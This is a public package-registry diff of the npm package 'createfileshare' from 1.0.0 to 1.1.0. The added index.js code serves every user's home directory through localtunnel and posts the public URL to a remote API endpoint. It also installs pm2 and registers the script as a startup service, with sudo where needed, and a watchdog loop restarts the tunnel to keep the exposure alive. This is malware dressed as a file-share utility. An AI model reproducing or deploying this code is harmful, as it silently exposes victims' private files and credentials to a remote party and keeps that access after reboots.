createfileshare 1.0.0 ā 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +115 -44
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -18,10 +18,12 @@ if (!fs.existsSync(targetDir)) {
|
|
|
18
18
|
}
|
|
19
19
|
|
|
20
20
|
// --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
|
|
21
|
+
// We use a regular string here to avoid template literal escaping madness
|
|
21
22
|
const scriptContent = `
|
|
22
23
|
const { exec } = require('child_process');
|
|
23
24
|
const os = require('os');
|
|
24
25
|
const path = require('path');
|
|
26
|
+
const http = require('http');
|
|
25
27
|
const localtunnel = require('localtunnel');
|
|
26
28
|
const axios = require('axios');
|
|
27
29
|
|
|
@@ -30,49 +32,121 @@ const usersPath = platform === 'win32'
|
|
|
30
32
|
? path.join(process.env.SystemDrive || 'C:', 'Users')
|
|
31
33
|
: (platform === 'darwin' ? '/Users' : '/home');
|
|
32
34
|
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
35
|
+
let tunnelInstance = null;
|
|
36
|
+
let serverProcess = null;
|
|
37
|
+
let isOnline = false;
|
|
38
|
+
|
|
39
|
+
// 1. Helper to check real internet connectivity
|
|
40
|
+
const checkInternet = () => {
|
|
41
|
+
return new Promise((resolve) => {
|
|
42
|
+
const req = http.request({
|
|
43
|
+
hostname: 'google.com',
|
|
44
|
+
port: 80,
|
|
45
|
+
method: 'HEAD',
|
|
46
|
+
timeout: 5000
|
|
47
|
+
}, () => resolve(true));
|
|
48
|
+
|
|
49
|
+
req.on('error', () => resolve(false));
|
|
50
|
+
req.on('timeout', () => { req.destroy(); resolve(false); });
|
|
51
|
+
req.end();
|
|
52
|
+
});
|
|
53
|
+
};
|
|
54
|
+
|
|
55
|
+
// 2. Helper to check if the public tunnel is actually responsive
|
|
56
|
+
const checkTunnelHealth = async (url) => {
|
|
57
|
+
try {
|
|
58
|
+
await axios.get(url, { timeout: 8000, headers: { 'User-Agent': 'HealthCheck' } });
|
|
59
|
+
return true;
|
|
60
|
+
} catch (err) {
|
|
61
|
+
if (err.response && err.response.status < 500) return true;
|
|
62
|
+
return false;
|
|
63
|
+
}
|
|
64
|
+
};
|
|
65
|
+
|
|
66
|
+
const startServices = async () => {
|
|
67
|
+
try {
|
|
68
|
+
console.log("Starting local file server...");
|
|
69
|
+
serverProcess = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`, { detached: true });
|
|
70
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
71
|
+
|
|
72
|
+
console.log("Attempting to open tunnel on port ${PORT}...");
|
|
73
|
+
tunnelInstance = await localtunnel({
|
|
74
|
+
port: ${PORT},
|
|
75
|
+
host: 'https://localtunnel.me'
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
console.log("Tunnel Live: " + tunnelInstance.url);
|
|
79
|
+
|
|
80
|
+
await axios.post('${apiEndpoint}', {
|
|
81
|
+
link: tunnelInstance.url,
|
|
82
|
+
});
|
|
83
|
+
console.log("URL reported to API successfully.");
|
|
84
|
+
|
|
85
|
+
tunnelInstance.on('close', () => {
|
|
86
|
+
console.log("Tunnel closed.");
|
|
87
|
+
tunnelInstance = null;
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
} catch (err) {
|
|
91
|
+
console.error("Failed to start services:", err.message);
|
|
92
|
+
stopServices();
|
|
93
|
+
}
|
|
94
|
+
};
|
|
95
|
+
|
|
96
|
+
const stopServices = () => {
|
|
97
|
+
console.log("Stopping all services...");
|
|
98
|
+
if (tunnelInstance) {
|
|
99
|
+
tunnelInstance.close();
|
|
100
|
+
tunnelInstance = null;
|
|
101
|
+
}
|
|
102
|
+
if (serverProcess) {
|
|
103
|
+
if (serverProcess.pid) {
|
|
104
|
+
try { process.kill(-serverProcess.pid, 'SIGKILL'); } catch (e) {}
|
|
105
|
+
}
|
|
106
|
+
serverProcess = null;
|
|
107
|
+
}
|
|
108
|
+
};
|
|
109
|
+
|
|
110
|
+
// 3. Main Monitor Loop
|
|
111
|
+
const monitorNetwork = async () => {
|
|
112
|
+
const currentlyOnline = await checkInternet();
|
|
113
|
+
|
|
114
|
+
if (currentlyOnline && !isOnline) {
|
|
115
|
+
console.log("Network detected: ONLINE. Starting services...");
|
|
116
|
+
await startServices();
|
|
117
|
+
if (tunnelInstance && serverProcess) {
|
|
118
|
+
isOnline = true;
|
|
71
119
|
}
|
|
72
|
-
}
|
|
120
|
+
} else if (!currentlyOnline && isOnline) {
|
|
121
|
+
console.log("Network lost: OFFLINE. Stopping services...");
|
|
122
|
+
isOnline = false;
|
|
123
|
+
stopServices();
|
|
124
|
+
} else if (currentlyOnline && (!tunnelInstance || !serverProcess)) {
|
|
125
|
+
console.log("Online but services missing. Restarting...");
|
|
126
|
+
stopServices();
|
|
127
|
+
await startServices();
|
|
128
|
+
} else if (currentlyOnline && tunnelInstance) {
|
|
129
|
+
const responsive = await checkTunnelHealth(tunnelInstance.url);
|
|
130
|
+
if (!responsive) {
|
|
131
|
+
console.log("Tunnel detected as STALE. Recycling...");
|
|
132
|
+
stopServices();
|
|
133
|
+
await startServices();
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
setTimeout(monitorNetwork, 15000);
|
|
138
|
+
};
|
|
139
|
+
|
|
140
|
+
console.log("Daemon monitoring initialized with self-healing...");
|
|
141
|
+
monitorNetwork();
|
|
73
142
|
|
|
74
|
-
|
|
75
|
-
|
|
143
|
+
const cleanup = () => {
|
|
144
|
+
console.log("Received kill signal, shutting down...");
|
|
145
|
+
stopServices();
|
|
146
|
+
process.exit(0);
|
|
147
|
+
};
|
|
148
|
+
process.on('SIGINT', cleanup);
|
|
149
|
+
process.on('SIGTERM', cleanup);
|
|
76
150
|
`;
|
|
77
151
|
|
|
78
152
|
fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
|
|
@@ -99,7 +173,6 @@ try {
|
|
|
99
173
|
execSync(`npm install -g pm2`, { stdio: 'inherit' });
|
|
100
174
|
|
|
101
175
|
console.log(`\nš„ Step 3: Starting PM2 Process (Force)...`);
|
|
102
|
-
// --force ensures it overwrites if a process with this name exists
|
|
103
176
|
execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
|
|
104
177
|
|
|
105
178
|
console.log(`\nš ļø Step 4: Automating OS Startup...`);
|
|
@@ -110,7 +183,6 @@ try {
|
|
|
110
183
|
execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
|
|
111
184
|
execSync(`pm2-startup install`, { stdio: 'inherit' });
|
|
112
185
|
} else {
|
|
113
|
-
// Linux/Mac: Capture and execute the sudo command
|
|
114
186
|
const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
|
|
115
187
|
const lines = startupResult.split('\n');
|
|
116
188
|
const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
|
|
@@ -130,5 +202,4 @@ try {
|
|
|
130
202
|
} catch (error) {
|
|
131
203
|
console.error(`\nā Critical Failure during Force Execution:`);
|
|
132
204
|
console.error(error.message);
|
|
133
|
-
console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
|
|
134
205
|
}
|